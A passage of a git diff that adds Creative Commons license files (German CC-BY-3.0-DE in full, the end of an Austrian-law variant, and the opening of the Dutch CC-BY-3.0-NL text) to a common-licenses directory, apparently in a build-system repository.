+ÜBER DIE IN ZIFFER 5 GENANNTE GEWÄHRLEISTUNG HINAUS HAFTET DER LIZENZGEBER IHNEN GEGENÜBER FÜR SCHÄDEN JEGLICHER ART NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG FÜR FOLGE- ODER ANDERE SCHÄDEN, AUCH WENN ER ÜBER DIE MÖGLICHKEIT IHRES EINTRITTS UNTERRICHTET WURDE.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie erteilte Nutzungsbewilligung erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Bearbeitungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke sowie entsprechende Vervielfältigungsstücke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich wiedergeben, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Bearbeitung des Schutzgegenstandes verbreiten oder öffentlich wiedergeben, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß 8.a) und b) angebotenen Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Republik Österreich Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-3.0-DE b/meta/files/common-licenses/CC-BY-3.0-DE
new file mode 100644
index 0000000000..2e7d215485
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-3.0-DE
@@ -0,0 +1,109 @@
+Creative Commons Namensnennung 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Abwandlungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Abwandlungen des Schutzgegenstandes anzufertigen, einschließlich Übersetzungen unter Nutzung jedweder Medien, sofern deutlich erkennbar gemacht wird, dass es sich um Abwandlungen handelt;
+
+ c. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten;
+
+ d. Abwandlungen des Schutzgegenstandes zu veröffentlichen, öffentlich zu zeigen und zu verbreiten.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.b) aufgezählten Hinweise entfernen. Wenn Sie eine Abwandlung vornehmen, müssen Sie auf die Mitteilung eines Lizenzgebers hin von der Abwandlung die in Abschnitt 4.b) aufgezählten Hinweise entfernen.
+
+ b. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder auf ihm aufbauender Abwandlungen oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Abwandlung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Abwandlung handelt.
+
+ Die nach diesem Abschnitt 4.b) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Abwandlung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ c. Die oben unter 4.a) und b) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ d. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Abwandlungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal, wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal, wenn Sie eine Abwandlung des Schutzgegenstandes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen davon unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) und b) angebotenen Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
+
diff --git a/meta/files/common-licenses/CC-BY-3.0-NL b/meta/files/common-licenses/CC-BY-3.0-NL
new file mode 100644
index 0000000000..5789b8592d
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-3.0-NL
@@ -0,0 +1,97 @@
+Creative Commons Naamsvermelding 3.0
+
+ CREATIVE COMMONS CORPORATION IS GEEN ADVOCATENPRAKTIJK EN VERLEENT GEEN JURIDISCHE DIENSTEN. DE VERSPREIDING VAN DEZE LICENTIE ROEPT GEEN JURIDISCHE RELATIE MET CREATIVE COMMONS IN HET LEVEN. CREATIVE COMMONS VERSPREIDT DEZE INFORMATIE 'AS-IS'. CREATIVE COMMONS STAAT NIET IN VOOR DE INHOUD VAN DE VERSTREKTE INFORMATIE EN SLUIT ALLE AANSPRAKELIJKHEID UIT VOOR ENIGERLEI SCHADE VOORTVLOEIEND UIT HET GEBRUIK VAN DEZE INFORMATIE INDIEN EN VOORZOVER DE WET NIET ANDERS BEPAALT.
+
+Licentie
+
+HET WERK (ALS HIERONDER OMSCHREVEN) WORDT TER BESCHIKKING GESTELD OVEREENKOMSTIG DE VOORWAARDEN VAN DEZE CREATIVE COMMONS PUBLIEKE LICENTIE ('CCPL' OF 'LICENTIE'). HET WERK WORDT BESCHERMD OP GROND VAN HET AUTEURSRECHT, NABURIGE RECHTEN, HET DATABANKENRECHT EN/OF ENIGE ANDERE TOEPASSELIJKE RECHTEN. MET UITZONDERING VAN HET IN DEZE LICENTIE OMSCHREVEN TOEGESTANE GEBRUIK VAN HET WERK IS ENIG ANDER GEBRUIK VAN HET WERK NIET TOEGESTAAN.
+
+DOOR HET UITOEFENEN VAN DE IN DEZE LICENTIE VERLEENDE RECHTEN MET BETREKKING TOT HET WERK AANVAARDT EN GAAT DE GEBRUIKER AKKOORD MET DE VOORWAARDEN VAN DEZE LICENTIE, MET DIEN VERSTANDE DAT (DE INHOUD VAN) DEZE LICENTIE OP VOORHAND VOLDOENDE DUIDELIJK KENBAAR DIENT TE ZIJN VOOR DE ONTVANGER VAN HET WERK.
+
+DE LICENTIEGEVER VERLEENT DE GEBRUIKER DE IN DEZE LICENTIE OMSCHREVEN RECHTEN MET INACHTNEMING VAN DE DESBETREFFENDE VOORWAARDEN.
+
+1. Definities
+
+ a. 'Verzamelwerk' een werk waarin het Werk, in zijn geheel en in ongewijzigde vorm, samen met een of meer andere werken, die elk een afzonderlijk en zelfstandig werk vormen, tot een geheel is samengevoegd. Voorbeelden van een verzamelwerk zijn een tijdschrift, een bloemlezing of een encyclopedie. Een Verzamelwerk zal voor de toepassing van deze Licentie niet als een Afgeleid werk (als hieronder omschreven) worden beschouwd.
+
+ b. 'Afgeleid werk' een werk dat is gebaseerd op het Werk of op het Werk en andere reeds bestaande werken. Voorbeelden van een Afgeleid werk zijn een vertaling, een muziekschikking (arrangement), een toneelbewerking, een literaire bewerking, een verfilming, een geluidsopname, een kunstreproductie, een verkorte versie, een samenvatting of enig andere bewerking van het Werk, met dien verstande dat een Verzamelwerk voor de toepassing van deze Licentie niet als een Afgeleid werk zal worden beschouwd.
+
+ Indien het Werk een muziekwerk betreft, zal de synchronisatie van de tijdslijnen van het Werk en een bewegend beeld ('synching') voor de toepassing van deze Licentie als een Afgeleid Werk worden beschouwd.
+
+ c. 'Licentiegever' de natuurlijke persoon/personen of rechtspersoon/rechtspersonen die het Werk volgens de voorwaarden van deze Licentie aanbiedt/aanbieden.
+
+ d. 'Maker' de natuurlijke persoon/personen of rechtspersoon/personen die het oorspronkelijke werk gemaakt heeft/hebben. Voor de toepassing van deze Licentie wordt onder de Maker mede verstaan de uitvoerende kunstenaar, film- en fonogramproducent en omroeporganisaties in de zin van de Wet op de naburige rechten en de producent van een databank in de zin van de Databankenwet.
+
+ e. 'Werk' het auteursrechtelijk beschermde werk dat volgens de voorwaarden van deze Licentie wordt aangeboden. Voor de toepassing van deze Licentie wordt onder het Werk mede verstaan het fonogram, de eerste vastlegging van een film en het (omroep)programma in de zin van de Wet op de naburige rechten en de databank in de zin van de Databankenwet, voor zover dit fonogram, deze eerste vastlegging van een film, dit (omroep)programma en deze databank beschermd wordt krachtens de toepasselijke wet in de jurisdictie van de Gebruiker.
+
